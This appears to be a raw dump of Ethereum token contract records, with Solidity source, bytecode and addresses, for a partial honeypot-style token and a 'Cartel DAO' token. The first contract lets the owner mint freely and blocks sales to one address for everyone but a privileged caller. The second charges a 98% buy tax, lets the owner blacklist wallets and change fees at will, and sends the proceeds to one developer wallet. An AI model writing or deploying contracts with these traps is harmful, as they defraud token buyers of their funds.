reflectionPercent) public onlyOwner { rTotal = reflectionPercent * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function Reflect(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == public_address) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104b7578063dd62ed3e14610501578063eb7d2cce14610579578063f2fde38b146105a757610100565b8063715018a61461038057806395d89b411461038a57806396bfcd231461040d578063a9059cbb1461045157610100565b8063313ce567116100d3578063313ce56714610292578063408e9645146102b657806344192a01146102e457806370a082311461032857610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b6101f66106ab565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b61029a610774565b604051808260ff1660ff16815260200191505060405180910390f35b6102e2600480360360208110156102cc57600080fd5b810190808035906020019092919050505061078b565b005b610326600480360360208110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109c3565b005b61036a6004803603602081101561033e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad0565b6040518082815260200191505060405180910390f35b610388610b19565b005b610392610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044f6004803603602081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b005b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e51565b604051808215151515815260200191505060405180910390f35b6104bf610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105636004803603604081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e95565b6040518082815260200191505060405180910390f35b6105a56004803603602081101561058f57600080fd5b8101908080359060200190929190505050610f1c565b005b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6000600654905090565b60006106c284848461136d565b610769846106ce611206565b61076485600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071b611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b61120e565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610793611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610874611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089557600080fd5b6108aa8160065461167e90919063ffffffff16565b60068190555061090981600260006108c0611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b60026000610915611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095b611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109cb611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b21611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b610d4c611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e65610e5e611206565b848461136d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f24611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e157600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148c5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114a057600a54811061149f57600080fd5b5b6114f281600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b6000808284019050838110156116fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122012a2152a59eef97cb79ee0018970e92b0776eab7b3a26f207effe26722cbba4a64736f6c634300060b0033
{"success": true, "error": null, "results": {}}
3,110
0x9caa25948fd23f2121525616d010984797f40b50
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CartelDAO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Cartel DAO"; string private constant _symbol = "CARTEL"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 98; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x4F2cff9BdFE678A5328F290BBF8a1A1C92C165E5); address payable private _marketingAddress = payable(0x4F2cff9BdFE678A5328F290BBF8a1A1C92C165E5); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b157600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195e565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600a81526943617274656c2044414f60b01b60208201525b60405161023a9190611a23565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a78565b61069b565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b5066038d7ea4c680005b60405190815260200161023a565b3480156102db57600080fd5b506102636102ea366004611aa4565b6106b2565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b506040516009815260200161023a565b34801561032d57600080fd5b50601554610293906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae5565b61071b565b34801561036d57600080fd5b506101fc61037c366004611b12565b610766565b34801561038d57600080fd5b506101fc6107ae565b3480156103a257600080fd5b506102c16103b1366004611ae5565b6107f9565b3480156103c257600080fd5b506101fc61081b565b3480156103d757600080fd5b506101fc6103e6366004611b2d565b61088f565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ae5565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610293565b34801561045857600080fd5b506101fc610467366004611b12565b6108be565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b5060408051808201909152600681526510d05495115360d21b602082015261022d565b3480156104bd57600080fd5b506101fc6104cc366004611b2d565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b46565b610935565b3480156104fd57600080fd5b5061026361050c366004611a78565b610973565b34801561051d57600080fd5b5061026361052c366004611ae5565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b78565b6109d4565b34801561058257600080fd5b506102c1610591366004611bfc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2d565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611ae5565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c35565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c96565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c35565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c35565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c35565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c35565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c35565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c35565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c35565b60005b82811015610a6f578160056000868685818110610a2057610a20611c6a565b9050602002016020810190610a359190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c96565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c35565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c35565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648